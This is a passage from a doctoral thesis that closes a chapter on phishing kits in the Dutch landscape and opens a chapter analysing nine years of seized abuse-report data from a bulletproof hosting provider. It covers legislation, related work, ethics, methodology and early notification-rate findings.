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tunity that can be used to take preventive action when the campaign has not made any
victims yet. Leveraging our methodology, kit fingerprints can be used to automate the
detection of domains where a kit is ready to be deployed. We show that the use of these
kits is widespread in the Dutch phishing landscape and have found that distinct fami-
lies of kits exist, wherein certain common characteristics are identified – likely because
the source code of one kit has evolved into the next. When these characteristics relate
to a vulnerability – e.g., the standard admin password is ‘password’ and the control
panel can be approached via a typical subdomain – this brings novel opportunities for
automated exploitation for law enforcement purposes towards attribution rather than
disruption. Having a clear picture of the popularity of phishing kits could assist LEA in
prioritizing their anti-phishing efforts to dominant kits. Interventions – e.g., exploiting
a vulnerability – on these kits would immediately impact a large portion of campaigns.
Next, these shared traits can also be used to keep track of the phishing landscape. For in-
stance, uAdmin allows for multiple domains contacting the same control panel, making
in-depth analysis possible on these domains to find new, related campaigns or actors.

A system like ours could complement the threat intelligence process of many or-
ganizations, especially financial institutions, that suffer from these attacks. Additional
measurements in the landscape can also be enriched by a repository of phishing kit fin-
gerprints. Similar to repositories for malware fingerprints, the community – from host-
ing providers, to volunteers and researchers – can contribute their analyses on phishing
kits to keep track of this pervasive phishing tactic. In turn, standardization on how to
describe phishing kits, their tactics, and detection methods is necessary before such an
exchange can be successful. The creation of such a standard is a gap that future work can
fill. In the meantime, our system can be extended with (semi)automatic submission to
anti-phishing services and block lists, which would hopefully lead to quicker responses.

4.11. CONCLUSIONS
In this chapter, we have presented the results of our investigation of the Dutch phishing
landscape. We designed an empirical method to study phishing campaigns in the wild
using fingerprints derived from phishing kits. We leverage that phishers are using TLS
certificates to capture the end-to-end life cycle of phishing campaigns. We were able
to find 1,363 confirmed phishing domains that deploy such kits in a four-month time
period – with, on average, 31 phishing domains online every day, waiting for victims to
arrive. Most of these domains are online for only 24 hours, but half of them (much)
longer. External validation with APWG data has shown that our methodology has the
potential to detect phishing websites swiftly and that it covers a complementary spec-
trum of phishing domains. Additionally, we show that attackers have increased their
abilities to lure victims into disclosing their credentials by using decoy pages, which do
not directly demand credentials from the victim but do so eventually. These decoy pages
split the target organization from the organization impersonated on the phishing page,
which allows for numerous possibilities for attackers. Referring to the target organiza-
tion in the domain name is less prevalent, as regular words are more often used to trick
victims into clicking on a phishing link. Through a combination of our analysis of the
anatomy of phishing kits and the crawls of phishing domains in the wild, we demon-
strate that the Dutch phishing landscape is less diverse than expected and that many
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phishers are building their campaigns on the same framework, uAdmin. The arrest of
the developer of this framework in February 2021 and the corresponding news coverage
allow us to conclude that our findings are also useful outside the Netherlands, as uAd-
min is actively used all around the world. Through both data analyses and a real-world
example, we have reconstructed a timeline of the complete end-to-end life cycle of a
typical phishing campaign – proving that phishers move fast. In turn, these fast-moving
campaigns require swift and decisive interventions. We believe the insights of this work
will help LEA and intermediaries design faster responses to this ever-evolving threat, and
we encourage them to do a similar analysis of their local phishing landscape.



5
GOVERNANCE INSTRUMENTS IN

THE ANTI-ABUSE ECOSYSTEM

Various governance instruments aim to fight Internet abuse – from legislation to take
down copyrighted material to blocklists to stop spam. In turn, these instruments rely
on industry standards to handle abuse: reporting abuse to the network owners request-
ing mitigation. Although many hosting providers swiftly take action to keep the Internet
clean, some do not. This raises the question as to what type of abuse receives follow-up
and what rationale is behind a decision to either mitigate or ignore abuse. Through a
unique collaboration with law enforcement in the Netherlands, we were granted access to
the operational back-end of a hosting provider with a reputation for abuse. A rare peek
at its internal abuse handling allowed for the investigation of what mechanisms in the
anti-abuse ecosystem influence anti-abuse actions. We find that client notification rates
highly depend on the reporter and abuse category. CSAM and spam-related abuse reports
lead to mitigating actions, whereas reports regarding copyright and port scanning are ne-
glected. Governance instruments like blocklisting, de-peering, and law enforcement in-
quiries that could directly hurt business continuity affect client notifications, whereas in-
dividual abuse reporting is easily ignored. We hope our work can inform policymakers to
align governance repertoire with abuse handling in practice.

This chapter is under submission as: Bijmans, H.L.J., van Eeten, M.J.G. & van Wegberg, R.S. (2025). “Tickets
to Hide: Scrutinizing the Anti-Abuse Ecosystem with Internal Abuse Data”. Under submission at NDSS’26
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5.1. INTRODUCTION
To combat abuse – like spam emailing, hosting harmful content, or sharing copyrighted
material – the Internet relies on the practice of abuse reporting, also known as ‘notice
and takedown’. Here, an abuse report is sent to a service provider, who subsequently no-
tifies its client [116]. As a hosting provider, handling abuse reports for servers operated
by many clients requires an effort. Industry best practices recommend swift follow-up
for abuse – though different priorities are assigned to different types of abuse [152]. Ad-
hering to these best practices is voluntary, though some jurisdictions have basic legal
obligations for the hoster to evaluate abuse reports. However, evaluating can also mean
deciding not to act. New legislation in the European Union – e.g. the Digital Services
Act [65] – has codified a “notice and action” procedure and introduced “trusted flaggers”
– designated independent entities whose abuse reports should be acted on with higher
priority. This shows that we rely heavily on abuse reporting as a governance mechanism
in the fight against online harms.

Although abuse reporting has been around for years [108, 152], there is limited scien-
tific insight into the abuse-handling processes of hosting providers. Prior studies have
taken an external viewpoint of hosters and analyzed how abuse events – like phishing
sites, spamming, and malware C&C servers – are distributed across providers [219, 230,
232]. Some researchers leveraged external characteristics of providers to identify poten-
tially malicious networks [128, 219]. However, high concentrations of abuse can also oc-
cur at legitimate providers simply because of the size of their infrastructure [219]. Hence,
it does not tell us much about the network operator’s lack of actions. Are they trying to
mitigate the abuse or actively facilitating it? Operators who are perceived to not swiftly
respond to abuse reports are referred to as ‘bad’ or ‘bulletproof’ hosters – that is, they are
seen as impervious to abuse reports [4]. Some characteristics of bulletproof hosting have
been described in both earlier work [86, 180] and industry reports [153]. Labeling a net-
work as ‘malicious’ or calling a company a ‘bulletproof’ hoster assumes that the hoster
is at least knowingly ignoring abuse reports or even enabling abuse. However, examin-
ing intent requires an inside view instead of network characteristics. To the best of our
knowledge, only a single study has provided such an inside view on a bad hoster [180],
but it did not analyze abuse report handling. However, comparing inside and outside
views on cybercriminal operations is crucial, as adjacent research on dark market mea-
surements found significant differences between the two [51].

To address this gap, we present a study of the internal abuse handling processes of
a hosting provider known for abuse. In this study, we aim to answer the following ques-
tions: RQ1: “Which type of abuse is followed up on?”, RQ2: “What factors influence the
decision to follow up on abuse reports?”, and RQ3: “How do external network charac-
teristics relate to internal abuse handling?”. We do not disclose the name of the studied
hosting provider (and discuss the ethics involved in our research in 5.4.3), but it has been
listed as one of the top bad hosters since the early 2010s [10], albeit under different brand
names. It was referred to as a bulletproof hoster by both law enforcement [185], indus-
try [10, 153], and media [134]. Over the years, the company regularly changed names,
created new brands, and moved its registration to the Seychelles.

In 2020, the Dutch Fiscal Information and Investigation Service (FIOD) raided the
company and seized company records [185]. Through a unique collaboration with this
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agency, we acquired access to its operational back-end, which allowed us to investigate
its abuse-handling practices. We collected 1.3M abuse reports from nine years of opera-
tion, categorized them, and identified corresponding client notifications. Furthermore,
we investigate time-to-notify and notification rates over time per abuse category. Lastly,
we connect our work to previous studies by relating our work to the aforementioned ma-
licious network characteristics.

We find that notification rates highly depend on the reporter and the abuse cate-
gory. Child sexual abuse material (CSAM) and spam-related reports do result in notifi-
cations, whereas copyright and port scanning reports have low client notification rates.
Governance mechanisms like blocklisting, de-peering, and law enforcement inquiries
that could directly hurt business continuity affect client notifications, whereas individ-
ual abuse reporting is easily ignored. We identify previously found indicators of mali-
cious networks, yet argue that calling hosters bulletproof only based on external data is
a tough label to sell.

In short, we make the following contributions:

1. We are the first to report on internal data from a hosting provider, leveraging over
1.3M abuse reports and over 9k client notifications spanning nine years.

2. We find that CSAM and spam-related abuse reports result in mitigating actions,
whereas reports regarding copyright and port scanning are neglected.

3. We empirically show that abuse reports from reporters with a trusted status or who
are in a position to hurt business processes have higher client notification rates
than from individual reporters.

4. Through our longitudinal analysis, we find that government pressure and direct
threats as a result of ignoring reports affect client notification rates.

The remainder of this chapter is structured as follows. First, we discuss the anti-abuse
ecosystem and the public debate on anti-abuse legislation in § 5.2, followed by an
overview of related work in § 5.3. Thereafter, we describe our dataset and reflect on the
ethics involved in our work in § 5.4 and discuss our methodology in § 5.5. We present
our results in two consecutive sections, take an inside look by quantifying abuse in § 5.6,
and take an outside look through an analysis of malicious network characteristics in
§ 5.7. We contextualize our findings and discuss their limitations in § 5.8. Finally, we
conclude our work in § 5.9.

5.2. BACKGROUND
This section describes the anti-abuse ecosystem and elaborates on the public debate on
anti-abuse legislation.

ANTI-ABUSE ECOSYSTEM

Similar to the inner workings of the Internet, the ecosystem fighting Internet abuse is
decentralized. Three roles are defined within this ecosystem: the abuse reporter, the in-
termediary – i.e., hosting provider – and the resource owner responsible for the abusive
resource [116]. Every party has different incentives and possibilities for participation.
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Table 5.1: Complaint priorities for abuse according to the M3AAWG anti-abuse common practices [152].

Abuse Category Priority

CSAM / Harmful content Critical
Botnet C&C / DDoS attacks High
Malware / Phishing / Brute-force attacks Medium
Spam(vertising) Low
Port scanning / Comment spamming Very low
Copyright / Trademark issues Depends

Abuse reporters have several incentives to voluntarily collect and report abuse data, such
as altruism, quid pro quo [116], or being victims themselves. Intermediaries have a busi-
ness relationship with the resource owner affected by monetary incentives and can de-
cide to forward abuse reports to their clients. The Message, Mobile, and Malware Anti-
Abuse Working Group (M3AAWG ) outlined the anti-abuse common best practices in
2015 to assist intermediaries in their anti-abuse efforts [152]. Besides guidelines to keep
systems safe to prevent abuse – such as vetting new customers and keeping software up
to date – it also outlines abuse report handling. This includes setting up an abuse e-mail
account according to RFC2142 [108], making community abuse reporting straightfor-
ward, responding promptly to those reports, and considering trusted reporters to han-
dle certain reports with higher priority. Additionally, the M3AAWG presents a complaint
prioritization that lists the prioritization for different types of abuse reports – shown in
Table 5.1. In short, an intermediary can either ignore a received abuse report, notify the
client and wait for it to be fixed, assist to fix the problem, suspend the server, or ultimately
terminate the client.

ANTI-ABUSE LEGISLATION

Over the years, the decentralized structures to combat Internet abuse have been pres-
sured by governments all over the world to safeguard the Internet. The resulting legisla-
tion differs significantly. The United States took the approach to criminalize computer
fraud and Internet abuse in the Computer Fraud and Abuse Act of 1986 (CFAA) [77]. The
bill, last updated in 2008, prohibits intentionally accessing a computer without autho-
rization and committing fraud with a computer, but fails to state definitions or to present
instruments to combat abuse online. As a result, many modern-day Internet activities
can be prosecuted under the CFAA with severe punishments [53]. To stop the prolifera-
tion of child sexual abuse material (CSAM), the U.S. Senate introduced the “STOP CSAM”
act, which makes reporting such material easier and adds administrative penalties when
providers fail to remove CSAM within a certain period [60]. It would also institutionalize
NCMEC’s CyberTipline by requiring companies to report discovered CSAM material. The
introduction was met with both enthusiasm and skepticism, as opponents fear it would
jeopardize constitutional rights to privacy and freedom of expression as a result of risk-
averse companies blocking any sensitive material. Legislation by the European Union
has already come into force since February 2024 through the Digital Services Act (DSA),
which aims to improve digital safeguards and to prevent illegal and harmful activities on-
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line [65]. Besides codifying a “notice-and-action” procedure, nationally appointed Dig-
ital Services Coordinators award a number of organizations the “trusted flagger” status,
whose abuse reports must be treated with priority. Leveraging expertise from organi-
zations specialized in detecting abusive content could enhance the quality of abuse re-
porting and improve follow-up actions. Some large online platforms like Google or Meta
have created similar programs, yet be it under their own terms [94, 160]. The DSA shifts
this power to the E.U. member state governments and turns voluntary cooperation into
mandatory compliance. Reactions to this new legislation have been mixed. Although
it was warmly welcomed by civil rights groups, it was criticized by tech companies for
creating a heavy burden and by some politicians and scientists [225] for undermining
freedom of speech.

5.3. RELATED WORK
Past academic work that advances our understanding of Internet abuse can be branched
into two categories: identification and analyses of malicious networks [128, 219, 259]
– including bulletproof hosting [4, 130, 180] – and measurements of the (anti-)abuse
ecosystem [144, 179, 232]. We summarize previous studies in the following section.

MALICIOUS NETWORKS

In 2009, Stone-Gross et al. [230] presented FIRE to actively monitor botnets, drive-by-
downloads, and phishing website feeds to identify organizations and networks that show
persistent malicious behavior. Shue et al. [219] augmented that by analyzing additional
data sources and examining the BGP behavior of malicious Autonomous Systems (AS).
They argue that ASes can be malicious due to either malicious intent by the operator or
lax administration and poor security practices. Zhang et al. confirmed this [259]. Shue
et al. [219] discovered that ASes with the most malicious activity have a greater number
of BGP connectivity changes than benign ASes and that larger ASes are more likely to
contain malicious IP addresses. Leveraging these BGP observations, Konte et al. [128]
created ASwatch to identify malicious ASes by their routing behavior. They found addi-
tional indicators for malicious networks, such as aggressive AS rewiring (many changes
in providers and peers), BGP routing dynamics – e.g., short prefix announcements – and
fragmentation and churn of the advertised IP address space.

BULLETPROOF HOSTING

The aforementioned network indicators do not distinguish between networks that are
willingly or unwillingly participating in abuse. Networks that intentionally participate
in abuse are commonly referred to as bulletproof hosting (BPH). Such providers do not
respond to reports of abuse originating in their networks [4], often rebrand their busi-
nesses by creating different storefronts [153], and offer different packages with tiers of
permitted abuse [4] – closely resembling the M3AAWG complaint priorities outlined in
Table 5.1. In 2018, Alrwais et al. [4] observed that such networks moved from large ma-
licious ASes – e.g., CyberBunker [130] – to fragmented infrastructure located at multi-
ple lower-end service providers through sub-allocations. They report that in 2016, only
19.7% of IP addresses blocklisted by Spamhaus were directly allocated – i.e., managed
by its service provider – whereas 80.3% were sub-allocations, half of them owned by a
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client of a legitimate service provider. Investigating these sub-allocations showed that
many legitimate service providers are not responsive to reports of abuse in their net-
works and heavily rotate IP blocks within their network to evade blocklisting. BPH ser-
vices are registered as resellers with these service providers and practice a similar be-
havior of rapidly registering and dropping network blocks. Noroozian et al. [180] dug
deeper into this phenomenon by analyzing a platform providing fragmented BPH in-
frastructure in 2019 called Maxided. Leveraging ground truth data extracted from seized
back-end databases, they characterized its business model, supply chains, and clients. It
was shown that the BPH landscape shifts from agile resellers towards marketplace plat-
forms with an oversupply of hundreds of legitimate upstream hosting providers. Clients
prepay the rent for their servers and treat them as disposable resources. The authors
argue that calling this platform an agile abuse enabler is more fitting than calling it a
bulletproof hoster, as it does not provide any resilience against takedowns, yet it does
enable abuse.

ABUSE MEASUREMENTS

Jhaveri et al. [116] constructed a model of the abuse reporting infrastructure to study
voluntary action against cybercrime within the anti-abuse ecosystem. By focusing on
stakeholder incentives, they found only a few incentives for intermediaries to act on
reported abuse since it often does not directly harm them. One incentive would be to
prevent being blocklisted after ignoring abuse reports or reputation damages, although
there is mixed evidence as to whether the latter incentive holds a significant effect in
practice. Levchenko et al. [144] analyzed the spam value chain and showed that spam af-
filiate programs employed a very distributed hosting strategy in 2011. Tajalizadehkhoob
et al. [232] investigated the providers behind networks with abuse to study how abuse
levels are determined and if measurements are performed correctly. They observed that
the structural properties of hosting providers – e.g., IP space size and domains hosted
– and the prevalence of popular content management systems, like WordPress, explain
most of the variance in phishing abuse counts and that expensive hosting providers are
home to less abuse. Noroozian et al. [179] performed related research but took abuse
feeds as input and found that all providers have an equal probability of reported abuse
when controlled for exposure effects.

Previous work shows extensive efforts into the identification of malicious networks [128,
219, 230]. It observed a shift of abusive networks moving from monolithic ASes to re-
sellers operating within sub-allocations [4] to platforms [180].Such analyses are based on
both external observations – e.g., BGP routing [128, 219] – and ground truth data [180].
Following the systemization of Jhaveri et al. [116], we lack insights into one crucial stake-
holder within the abuse ecosystem: the intermediary handling abuse reports. What
makes an intermediary notify its client? And, how do the identified external indicators
from previous studies relate to internal anti-abuse efforts?

5.4. DATA

Our analysis is based on data seized by law enforcement. On September 22nd, 2020, the
Dutch Fiscal Information and Investigation Service (FIOD) raided the hoster, collected
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Table 5.2: An overview of the two mailboxes and their contents.

Mailbox I (55,979 e-mails) Items Incl. Mailbox II (2,624 e-mails) Items Incl.

Handled 1,227 ✓ Handled 117 ✓
Handling 0 ✓ Handling 0 ✓
Conversations 100 Conversations 7
Deleted messages 4,236 ✓ CP reports handled 1,682 ✓
FMTS 4,965 ✓ Deleted messages 12 ✓
FMTS.FAPL 324 ✓ Ignore 537 ✓
Ignore 29,686 ✓ Ignore - Cloudflare 276 ✓
Ignore - Cloudflare 12,830 ✓ Sent items 21,256
Ignore - Netcraft fakeshop 2,653 ✓
Ignore - PhishLabs unauth host 58 ✓
Sent items 39,581

Table 5.3: Selected database tables. *Including 14,644 accounts registered with the same email address – see
Clients.

Database table Count Missing

ticket 2,350,168 6,685
ticket_post 2,815,503 6,721
client* 31,389 0
devices 2,023 0
devices_events 488,516 0
ip_assignments 8,407 23,468
packages 63,193 0

cash, seized bitcoin, and copied company records [185]. Through a collaboration with
this agency, we were allowed to analyze parts of its back-end systems. This unique inter-
nal data allows us to perform empirical research that otherwise would not be possible.
Note that this data assisted daily operations and, therefore, is not structured to support
scientific research. Hence, we provide a detailed description of the data, discuss how we
assessed its validity, and how we performed pre-processing.Legal and ethical considera-
tions that come with the use of this data are discussed in § 5.4.3.

5.4.1. ABUSE MAILBOXES

As mentioned in § 5.1, the company operated under a variety of brand names over the
years. Law enforcement was able to seize the mail servers of the last two brands and
shared a copy of these mailboxes used for handling abuse reports. Both mailboxes were
stored in Maildir format, which also saves the folder structure. Table 5.2 lists the fold-
ers, the emails it contains, and whether or not we included this folder in our dataset.
Some folder names already suggest default follow-up actions, such as the folder names
starting with ignore. In both mailboxes, we could find folders for handled reports in the
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folder handled and folders related to certain reporters, such as Cloudflare. We omit-
ted the sent items folders in both mailboxes, as manual analysis revealed no abuse re-
ports nor client notifications, merely (automated) responses to reporters – e.g., we found
38,439 auto-replies to CyberTip demanding them to stop reporting through email and to
use a provided takedown tool instead. The mailbox used by the last brand name con-
tained 55,979 emails from 2019-02-01 until 2020-09-22, and the mailbox used by the
second-to-last brand name contained 2,624 emails in the period 2019-03-07 until 2020-
09-22. For every email, we extracted the timestamp, subject header, sender, and the
message. Although we included the deleted messages folder in our dataset, emails could
have been permanently deleted from these mailboxes.

5.4.2. OPERATIONAL DATABASE
The other dataset we use is the back-end database of a customer relationship manage-
ment (CRM) system that the company employed to manage its operations. It was copied
bit-wise during the raid by law enforcement, resulting in a 101GB database dump. Based
on our research questions and in close collaboration with the involved law enforcement
officers, we were granted access to a limited set of seven tables. These are listed in Ta-
ble 5.3 and detailed in the following paragraphs.

TICKETS

Two tables enable communication with clients through tickets. Such tickets are related
to password reset requests, overdue invoices, and abuse reports. The ticket table con-
tains 42 columns, including a ticket identifier, client ID (when a ticket is created by a
client), timestamp, creator email address, subject, and a message. It also includes the
origin of a ticket, as they can be automatically created by e-mails directed towards a
set of e-mail addresses (i.e., {abuse, billing, info}@company.com) or can be made by the
company itself (i.e., because of late payments). Both the author of the ticket, the involved
client, and employees can reply to a ticket. Those reactions are stored in a separate ta-
ble, ticket_post. For our analysis, we joined the ticket and ticket_post tables to obtain
an overview of all tickets and their responses – i.e., each ticket has one or more posts
attached to it. As shown in Table 5.3, we found over 2.3M tickets and identified 6,685
missing tickets (0.3%) thanks to missing auto-incremented ticket IDs.

CLIENTS

The client table contains 57 columns related to personal details and billing information.
To avoid analyzing personally identifiable information (PII), we only got access to the
client ID, email, and registration date of each client. All other columns were removed
before access was granted. A total of 31,389 clients were found in this table, without any
missing values. Manual inspection of the email addresses used for registration revealed
that someone registered 14,644 new accounts using the same email address in 2014. As
we found no abuse related to them, we removed these automatically generated accounts
from our analysis in subsequent sections.

IP ASSIGNMENTS & DEVICES

The remaining four tables can be used to determine the ownership of devices within the
company’s data center and IP address assignments to clients over time. First, two tables
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capture the most up-to-date state of all devices and IP assignments. The devices table
lists all devices and contains 34 columns related to, among others, every device’s loca-
tion in the data center, its status, and which client is associated with it. Upon removal
of a device, records are not deleted but nulled. As a result, we found 2,023 devices in
this table without any missing rows. IP addresses assigned to devices at the moment
of the raid are stored in the table ip_assignments, which does not store any past assign-
ments. When an IP assignment is removed, it is deleted from this table – which explains
the 23,468 missing rows listed in Table 5.3. Since IP addresses are assigned to specific
devices within the data center, we can leverage the device table to find which IP address
was assigned to which device owned by whom. Again, just the final state is stored in this
table. A combination of two other tables is necessary to gather information on historic
IP assignments: device_events and packages. The device_events logs every update made
to devices – ranging from client changes to power disruptions – in an appending log con-
taining the before and after state. A total of 488,516 records, without any missing rows,
were found. Lastly, some devices are shared by multiple users, each using a different
IP address on one Virtual Private Server (VPS). VPS access is offered as a package, and
records related to those are stored in the packages table, which contains information on
both the client using it and the technical management of these packages.

5.4.3. LEGAL & ETHICAL CONCERNS
First, we detail the ethical considerations and privacy-preserving steps we took in han-
dling the seized data. Then, we use the Menlo report [123] to outline how we dealt with
the sensitive nature of our data for our analyses.

DATASET

In line with applicable laws and regulations, Dutch authorities were able to seize com-
pany records, including the mailboxes and CRM database. While we use data from a
legal seizure, one should not assume that users were engaged in illegal behavior. Note
that providing any evidence of any kind for any law enforcement effort is not the pur-
pose of this study. Before back-end data was made accessible for academic research,
public prosecutors weighed, among other things, the impact of the work on the rights
and privacy of all parties. A Dutch law enforcement privacy officer vetted that our data
subset was limited, only contained data vital to our research, and contained no PII. All
of our analyses were conducted on-site at Dutch law enforcement agencies, where the
data was stored and protected under their safety and security guidelines. We conferred
with our IRB beforehand, and they viewed this work as outside of their jurisdiction, yet
were satisfied with the assessments and applied procedures outlined above.

ANALYSES

In order to protect the privacy of clients, we took great care not to analyze any PII. This
process was outlined by the involved privacy officer following strict regulations that go
beyond the GDPR or IRB institutional frameworks and then implemented by Dutch law
enforcement. As a result, we only had access to data essential to our analyses that was
stripped from any PII by law enforcement before we were granted access. We only re-
port on aggregated values and use (translated) excerpts of anonymized conversations in
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Figure 5.1: Overview of the use and processing of data sources.

abuse tickets. Extracting aggregate data points for our tables and figures was done un-
der strict supervision through one specific monitored channel. To respect the privacy of
all individuals involved, we do not refer to any person – neither clients nor employees –
in particular. Both we and involved law enforcement professionals believe the benefits
of a comprehensive understanding of the anti-abuse ecosystem outweigh the potential
costs that come with making our work public. Additionally, to limit the potential nega-
tive effects on the company we are reporting on, we do not disclose its name but refer to
it as “the company”. In conclusion, we see no direct impact on persons, as we do not re-
port on any individuals in particular and note that one should not assume any criminal
wrongdoing on the part of these individuals.

5.5. METHODOLOGY
The following section details our approach to collecting and categorizing abuse reports
and client notifications from the aforementioned data sources, depicted in Figure 5.1.

COLLECTING ABUSE REPORTS

We extract abuse reports from both the CRM database and the two abuse mailboxes. As
mentioned in § 5.4.2, abuse reports directed towards a set of mailboxes are automati-
cally stored in the database as tickets. To identify and extract those tickets, we selected
all tickets originating from outside the company and filtered for tickets directed towards
an ‘@abuse’ e-mail address or containing the word ‘abuse’ in the subject header. This
resulted in a set of 1,546,217 tickets, from which we removed 279,080 tickets contain-
ing spam emails, newsletters, and failed email delivery attempts, resulting in a set of
1,267,137 tickets. By analyzing the two abuse mailboxes, we obtained another 58,421
abuse reports in the period 02-2019 until 09-2020, which we analyzed similarly. The
two data sources – database and mailboxes – were merged for further analysis, hereby
omitting the 37 abuse reports that were present in both data sources. Duplicates were
identified by comparing abuse reports with a similar subject header, originating from
the same sender, and dated within a two-hour time frame from each other.

CATEGORIZING ABUSE REPORTS

As we had to perform our analyses on-premise at law enforcement agencies in secure en-
vironments, we adopted a simple keyword-based approach to categorize the collected
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abuse reports based on their subject, author, and message body. Following the cate-
gories of abuse defined by the M3AAWG (listed in Table 5.1), we brainstormed to gather
an initial list of five keywords per category. Then, we followed a snowball sampling ap-
proach to gather more related keywords. We applied the initial list of keywords to the
abuse reports, manually inspected the top remaining uncategorized reports, sorted by
reports per sender (to affect the most significant portion of unlabeled reports), defined
the label it should have, and identified new keywords to include these reports. We se-
lected a random sample of reports per category (from a list aggregated by the sender),
checked if errors had occurred, and fine-tuned the keywords afterward. This process was
repeated ten times and resulted in the list of words that can be found in Table 5.4. Abuse
reports can be assigned multiple categories (0.9%) or not assigned any category and la-
beled as “Unknown” (3.7%). Comparing 100 randomly sampled and manually labeled
abuse reports with the assigned category revealed that our keyword-based approach was
able to correctly categorize 95% of them.

DETERMINING CLIENT IP ASSIGNMENTS

To match abuse reports to their responsible clients, a mapping of the client using which
IP address at any moment in our measurement period is required. To gather this in-
formation, we leverage the last four tables mentioned in 5.4.2 in the following order:
ip_assignments, devices & devices_events, and packages. We apply a three-step approach
to find the associated client based on the trustworthiness of the data sources. First, we
search for an active IP assignment for any mentioned IP address at the moment of the
incoming abuse report by using the ip_assignments table. If this yields no results, we
search for historic IP assignments listed in the device_events table combined with the de-
vices table to find the client that was associated with a historical IP assignment. If both
searches do not yield any results, we use the packages table to retrieve a client. However,
as this table does not contain an end date for IP address assignments – as it is tied to a
contract with a set duration, e.g., a month – we consider this data source the least trust-
worthy. From 87% of these tickets, we could extract a company IPv4 address, which we
were able to link to a client in 99.7% of the cases. For unknown reasons, we could not
determine the corresponding client for 493 abuse reports containing a valid IP address

IDENTIFYING PROVIDER ACTION

Anti-abuse actions, such as client notifications, are stored in the CRM database in two
ways. Either as a post linked to the abuse report ticket or as a separate ticket created
by the company itself. The 1,891 client notifications in the database linked through
posts are easily matched based on their corresponding ticket identifier. Matching the
separately created client notification tickets is less trivial. To match these to their origi-
nating abuse report, we selected all company-initiated tickets not containing a set of 25
keywords related to billing, orders, and maintenance in the subject header. This set of
7,336 tickets was enriched similarly to the abuse reports – extracting the timestamp, cat-
egory, and IPs. Since these tickets are directed toward a client, the corresponding client
identifier is always present. We use the timestamp and the mentioned IP addresses in
the client notification ticket to search for its underlying abuse report(s). For every client
notification, we searched for abuse reports that mention the same IP address within
a time frame of 336 hours – i.e., 2 weeks – prior to the client notification and did not
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Table 5.5: Dataset descriptives.

Dataset start August 1, 2011
Dataset end (raid by LEA) September 22, 2020
Abuse reports 1,309,540
Abuse reports linked to a notification 34,240
Client notifications 9,227
Client notification rate 2.6%
Abuse report senders 9,594
Registered clients 16,030
Abusive clients 3,114

yet contain a (linked) client notification. This time frame was chosen after a manual
inspection revealed that such long time frames were not uncommon. As a result, one
client notification can be matched to multiple received abuse reports. We consider this
a valid method, as widespread abuse can trigger many different abuse reports, and it
would make sense for a company to group those reports into one client notification.
This is illustrated by one case in which we could match one client notification to 1,575
automated spam reports, all received in one day. Through this process, we were able to
match 4,216 (57%) of the separately created client notifications to their initiating abuse
report(s), hereby linking a client notification to 29,229 abuse reports. A notification is
linked to 3.98 abuse reports on average, yet the median is 1. Abuse reports could also
have originated from phone calls, as one response to an abuse report highlights: for
urgent cases, please call us, we noticed your email 9h later. Hence, we added the remain-
ing 3,120 client notifications, for which we could not find the originating abuse report,
to the dataset as well, including every client notification ever sent by the company in
our final dataset. Throughout our approach to measuring abuse handling, we apply a
conservative take. That is, when in doubt, we assume the company notified the client.

To obtain our final dataset, we removed all uncategorized abuse reports not containing
an IP address – 16,438 tickets, again mostly spam – and obtained our final dataset of
1,309,540 abuse reports. 87% of these reports contained a company IPv4 address, which
enabled us to assign 1,120,201 (86%) abuse reports to 3,114 different clients. Matching
client notifications to abuse reports and the linked notifications within tickets allowed
us to identify 9,227 distinct client notifications linked to 34,240 abuse reports. Table 5.5
lists the final dataset to be used in the remainder of this chapter.

5.6. QUANTIFYING ABUSE & PROVIDER ACTIONS

In this section, we quantify and characterize the abuse reports and typologize categories,
frequency, and origins. Next, we present insights into the actions taken by the company
to combat abuse to answer our first two research questions.
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5.6.1. ABUSE FOLLOW-UP

To answer our first research question, we scrutinize the company’s 1,309,540 abuse re-
ports received within the nine years spanning our dataset. An overview of the monthly
received abuse reports is depicted in Figure 5.2. It shows roughly three periods of abuse
volumes that line up with changes in brand names. For the first period (until 2016), we
observed a slow increase in monthly abuse reports – growing from around 10k in 2013 to
almost 50k by the end of 2014. Most of them are related to hosting copyrighted material
but over time start to include reports in other categories too. In the second period (2015
– 2019), when operating under the second brand name, the number of abuse reports
stabilized to around 10k monthly reports. This is mostly due to a shrinking number of
copyright-related abuse reports; the other categories have similar abuse report counts
within this time frame. Introducing the third brand name in late 2018 has likely changed
the abuse-handling process. We believe abuse reports are no longer automatically con-
verted into tickets but are only handled within the abuse mailbox, as we did not find
many abuse reports in both the CRM database and in one of the mailboxes (only 37). It
is likely that reports have been deleted from the mailboxes in this time frame and that the
volume of abuse reports was higher. As in the last month for which we obtained abuse
reports from the abuse mailboxes (September 2020), the number of reports returned to
the monthly average of over 20k per month.

As listed in the first row of Table 5.6, copyright-related abuse makes up the largest
portion of reports. Almost 77% of received abuse reports are categorized as such, which
involves hosting torrent websites and illegal live sports streams. Other prevalent cat-
egories are (comment) spam(ing) and malware, phishing, and brute-force attacks. Re-
ports related to ongoing DDoS attacks, botnet C&C servers, and CSAM are less prevalent.
Reporters of copyright-related abuse do so very often, with an average of 609 reports per
reporter. This is much lower for all other categories of abuse, which range from eight for
botnet C&C servers and DDoS attacks to 40 for port scanning and comment spamming.
In total, we found 3,114 clients to be involved in one or more abuse cases. Most abusive
clients can be found in the malware, phishing, and brute-force category (1,980), followed
by the port scanning and comment spamming category (1,575).

The next rows in Table 5.6 report on the client notification by the company, present-
ing both the number of reports with a linked notification as well as the number of unique
client notifications. The latter is also depicted in Figure 5.3, which shows a very low num-
ber of copyright-related client notifications and many CSAM-related client notifications,
especially in the last period. A total of 9,227 client notifications have been sent, which
we could link to 34,240 abuse reports. Since abuse reports can be assigned to multiple
categories, the client notification counts within this row add up to more than the total
amount – we discuss the effects of this in 5.8. The overall client notification rate – i.e.,
what fraction of abuse reports are linked to a client notification – is 2.6%. If we remove
the largest category – Copyright & Trademark issues – from this statistic, this number is
9.73%.

There are significant differences in client notification rates between the categories,
and they change over time as well. For example, we could identify 867 client notifi-
cations for copyright-related abuse linked to 4,200 abuse reports, resulting in a 0.4%
notification rate, whereas 45.6% of all CSAM-related reports are linked to a client
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Figure 5.4: Yearly notification rates for the different categories.

Ticket conversation on 17/09/2016

Client: On my website, I will stream live sports events. About DMCA, can you confirm that
there will be no problem?

Company: DMCA is USA law. We are not in the USA.

Figure 5.5: Conversation regarding the DMCA.

notification. Remarkably, the client notification rate for spam(vertising) (19%) is much
higher than for malware, phishing, and brute-force attacks (8.6%), whilst their place in
the prioritization according to the M3AAWG in Table 5.1 would suggest the inverse. To
investigate abuse handling over time, we plotted the client notification rates per year
for each abuse category in Figure 5.4. It shows that the few botnet servers and DDoS
